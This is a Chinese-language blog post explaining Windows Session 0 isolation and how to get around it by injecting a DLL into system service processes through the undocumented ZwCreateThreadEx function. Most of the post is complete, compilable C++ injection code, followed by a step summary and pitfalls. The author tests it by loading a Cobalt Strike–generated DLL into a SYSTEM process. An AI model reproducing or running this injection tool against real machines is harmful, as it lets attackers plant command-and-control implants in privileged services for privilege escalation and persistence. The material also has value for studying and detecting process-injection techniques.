• 远程线程注入突破SESSION 0


    远程线程注入突破SESSION 0

    SESSION 0 隔离

    在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。

    将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。

    从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

    突破SESSION 0

    ZwCreateThreadEx函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中。CreateRemoteThread底层实际上也是通过ZwCreateThreadEx函数实现线程创建的。CreateRemoteThread注入系统进程会失败的原因是因为调用ZwCreateThreadEx创建远程线程时,第七个参数CreateThreadFlags为1。

    使用CreateRemoteThread注入失败DLL失败的关键在第七个参数CreateThreadFlags, 他会导致线程创建完成后一直挂起无法恢复进程运行,导致注入失败。而想要注册成功,把该参数的值改为0即可。

    ZwCreateThreadEx

    ZwCreateThreadEx在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
    我们需要注意的是64位和32位中,函数定义还不一样

    64 位下,ZwCreateThreadEx 函数声明为:

    DWORD WINAPI ZwCreateThreadEx(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown);
    

    32 位下,ZwCreateThreadEx 函数声明为:

    DWORD WINAPI ZwCreateThreadEx(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);
    

    编码实现

    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    
    void ShowError(const char* pszText)
    {
    	char szErr[MAX_PATH] = { 0 };
    	::wsprintf(szErr, "%s Error[%d]
    ", pszText, ::GetLastError());
    	::MessageBox(NULL, szErr, "ERROR", MB_OK);
    }
    
    
    // 使用 ZwCreateThreadEx 实现远线程注入
    BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
    {
    	HANDLE hProcess = NULL;
    	SIZE_T dwSize = 0;
    	LPVOID pDllAddr = NULL;
    	FARPROC pFuncProcAddr = NULL;
    	HANDLE hRemoteThread = NULL;
    	DWORD dwStatus = 0;
    	//打开注入进程,获取进程句柄
    	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    	if (hProcess == NULL) {
    		printf("OpenProcess Error");
    		return -1 ;
    	}
    	//在注入的进程申请内存地址
    
    	dwSize = 1 + ::lstrlen(pszDllFileName);
    	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    	if (NULL == pDllAddr)
    	{
    		ShowError("VirtualAllocEx");
    		return FALSE;
    	}
    	//写入内存地址
    	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    	{
    		ShowError("WriteProcessMemory");
    		return FALSE;
    	}
    	//加载ntdll
    	HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    	if (NULL == hNtdllDll)
    	{
    		ShowError("LoadLirbary");
    		return FALSE;
    	}
    	// 获取LoadLibraryA函数地址
    	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    	if (NULL == pFuncProcAddr)
    	{
    		ShowError("GetProcAddress_LoadLibraryA");
    		return FALSE;
    	}
    	
    #ifdef _WIN64
    	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    		PHANDLE ThreadHandle,
    		ACCESS_MASK DesiredAccess,
    		LPVOID ObjectAttributes,
    		HANDLE ProcessHandle,
    		LPTHREAD_START_ROUTINE lpStartAddress,
    		LPVOID lpParameter,
    		ULONG CreateThreadFlags,
    		SIZE_T ZeroBits,
    		SIZE_T StackSize,
    		SIZE_T MaximumStackSize,
    		LPVOID pUnkown);
    #else
    	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    		PHANDLE ThreadHandle,
    		ACCESS_MASK DesiredAccess,
    		LPVOID ObjectAttributes,
    		HANDLE ProcessHandle,
    		LPTHREAD_START_ROUTINE lpStartAddress,
    		LPVOID lpParameter,
    		BOOL CreateSuspended,
    		DWORD dwStackSize,
    		DWORD dw1,
    		DWORD dw2,
    		LPVOID pUnkown);
    #endif
    	//获取ZwCreateThreadEx函数地址
    	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    	if (NULL == ZwCreateThreadEx)
    	{
    		ShowError("GetProcAddress_ZwCreateThread");
    		return FALSE;
    	}
    	// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
    	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    	if (NULL == hRemoteThread)
    	{
    		ShowError("ZwCreateThreadEx");
    		return FALSE;
    	}
    	// 关闭句柄
    	::CloseHandle(hProcess);
    	::FreeLibrary(hNtdllDll);
    
    	return TRUE;
    
    
    }
    
    int main(int argc, char* argv[])
    {
    #ifdef _WIN64
    	BOOL bRet = ZwCreateThreadExInjectDll(8, "C:\Users\xx\Desktop\pwn\artifact64.dll");
    #else 
    	BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
    #endif
    	if (FALSE == bRet)
    	{
    		std::cout << "Inject Dll Error.
    ";
    	}
    	std::cout << "Inject Dll OK.
    ";
    	return 0;
    }
    

    在这如果想通过MessageBox判断是否注入成功,那么会大失所望。由于会话隔离,在系统程序中不能显示程序窗体,也不能用常规方式来建立用户进程。所以这里使用CS生成的dll来判断DLL是否注入成功。

    前面用MessageBox来判断踩坑了。

    步骤总结

    1. 打开注入进程,获取进程句柄
    2. 在注入的进程申请内存地址
    3. 写入内存地址
    4. 加载ntdll,获取LoadLibraryA函数地址
    5. 获取ZwCreateThreadEx函数地址
    6. 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入

    坑点总结

    1. 需要使用管理员权限

    2. 进程注入dll使用MessageBox,会显示不了。因为系统程序中不能显示程序窗体

    3. ZwCreateThreadEx的函数定义在32和64位的不一样

  • 相关阅读:
    转: 关于linux用户时间与系统时间的说明
    转: 关于CAS cpu锁的技术说明。
    基于TCPCopy的Dubbo服务引流工具-DubboCopy
    Netty中的坑(下篇)
    编写明显没有错误的代码
    Zookeeper-Zookeeper client
    Zookeeper-Zookeeper leader选举
    Zookeeper-Zookeeper启动过程
    Zookeeper-Zookeeper的配置
    Zookeeper-Zookeeper可以干什么
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15318327.html
Copyright © 2020-2023  润新知